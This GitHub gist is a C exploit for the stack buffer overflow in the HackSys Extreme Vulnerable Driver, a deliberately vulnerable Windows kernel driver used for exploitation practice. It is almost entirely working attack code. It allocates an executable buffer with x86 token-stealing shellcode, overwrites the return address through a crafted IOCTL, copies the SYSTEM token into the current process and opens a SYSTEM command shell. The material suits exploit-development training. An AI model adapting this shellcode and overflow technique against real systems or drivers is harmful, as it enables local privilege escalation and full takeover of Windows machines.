Skip to content

Instantly share code, notes, and snippets.

@glem0
Last active July 31, 2019 02:38
Show Gist options
  • Save glem0/9ae6f03f99987f922fd019ea03d64961 to your computer and use it in GitHub Desktop.
Save glem0/9ae6f03f99987f922fd019ea03d64961 to your computer and use it in GitHub Desktop.
HEVD Windows Kernel Driver Exploit - Stack Overflow
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdint.h>
/*
HEVD Windows Driver Exploit for the Stack Buffer Overflow
Written by glem - have fun :)
*/
#define PAGE_SIZE 4096
#define SHELLCODE_LEN 61
#define RET_OFFSET 2080
#define STACK_IOCTL 0x222003
#define DRIVER_PATH "\\\\.\\HackSysExtremeVulnerableDriver"
void main() {
/*
HANDLE WINAPI CreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
);
*/
HANDLE device = CreateFileA(DRIVER_PATH,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (device == INVALID_HANDLE_VALUE) {
printf("[!] Error opening the driver\n");
exit(1);
}
/*
LPVOID WINAPI VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
*/
LPVOID uBuffer = VirtualAlloc(NULL,
PAGE_SIZE,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!uBuffer) {
printf("Error allocating the user buffer\n");
exit(1);
}
printf("[~] uBuffer @ %p\n", uBuffer);
/*
VOID RtlCopyMemory(
_Out_ VOID UNALIGNED *Destination,
_In_ const VOID UNALIGNED *Source,
_In_ SIZE_T Length
);
*/
char shellcode[] =
/* --- Setup --- */
"\x60" // pushad
"\x64\xA1\x24\x01\x00\x00" // mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50" // mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1" // mov ecx, eax (Current _EPROCESS structure)
"\x8B\x98\xF8\x00\x00\x00" // mov ebx, [eax + TOKEN_OFFSET]
/* --- Copy System token */
"\xBA\x04\x00\x00\x00" // mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00" // mov eax, [eax + FLINK_OFFSET]
"\x2D\xB8\x00\x00\x00" // sub eax, FLINK_OFFSET
"\x39\x90\xB4\x00\x00\x00" // cmp [eax + PID_OFFSET], edx
"\x75\xED" // jnz
"\x8B\x90\xF8\x00\x00\x00" // mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00" // mov [ecx + TOKEN_OFFSET], edx
/* --- Cleanup --- */
"\x61" // popad
"\x31\xC0" // NTSTATUS -> STATUS_SUCCESS
"\x5D" // pop ebp
"\xC2\x08\x00"; // ret 8
RtlCopyMemory(uBuffer, shellcode, SHELLCODE_LEN);
/* set return ptr to shellcode */
uint32_t *ret_Addr = (uint32_t *) (uBuffer + RET_OFFSET);
*ret_Addr = (uint32_t) uBuffer;
printf("[~] retAddr offset @ %p\n", ret_Addr);
/*
BOOL WINAPI DeviceIoControl(
_In_ HANDLE hDevice,
_In_ DWORD dwIoControlCode,
_In_opt_ LPVOID lpInBuffer,
_In_ DWORD nInBufferSize,
_Out_opt_ LPVOID lpOutBuffer,
_In_ DWORD nOutBufferSize,
_Out_opt_ LPDWORD lpBytesReturned,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
*/
DWORD bytesRet;
BOOL bof = DeviceIoControl(device, /* handler for open driver */
STACK_IOCTL, /* IOCTL for the stack overflow */
uBuffer, /* our user buffer with shellcode/retAddr */
RET_OFFSET+4, /* want up to the offset + 4 (for the retAddr) sent */
NULL, /* no buffer for the driver to write back to */
0, /* above buffer of size 0 */
&bytesRet, /* dump variable for byte returned */
NULL); /* ignore overlap */
/* check if the device IO sent fine! */
if (!bof) {
printf("[!] Error with DeviceIoControl\n");
exit(1);
} else {
printf("[*] Success!! Enjoy your shell!\n");
}
/* pop a shell! */
system("cmd.exe");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment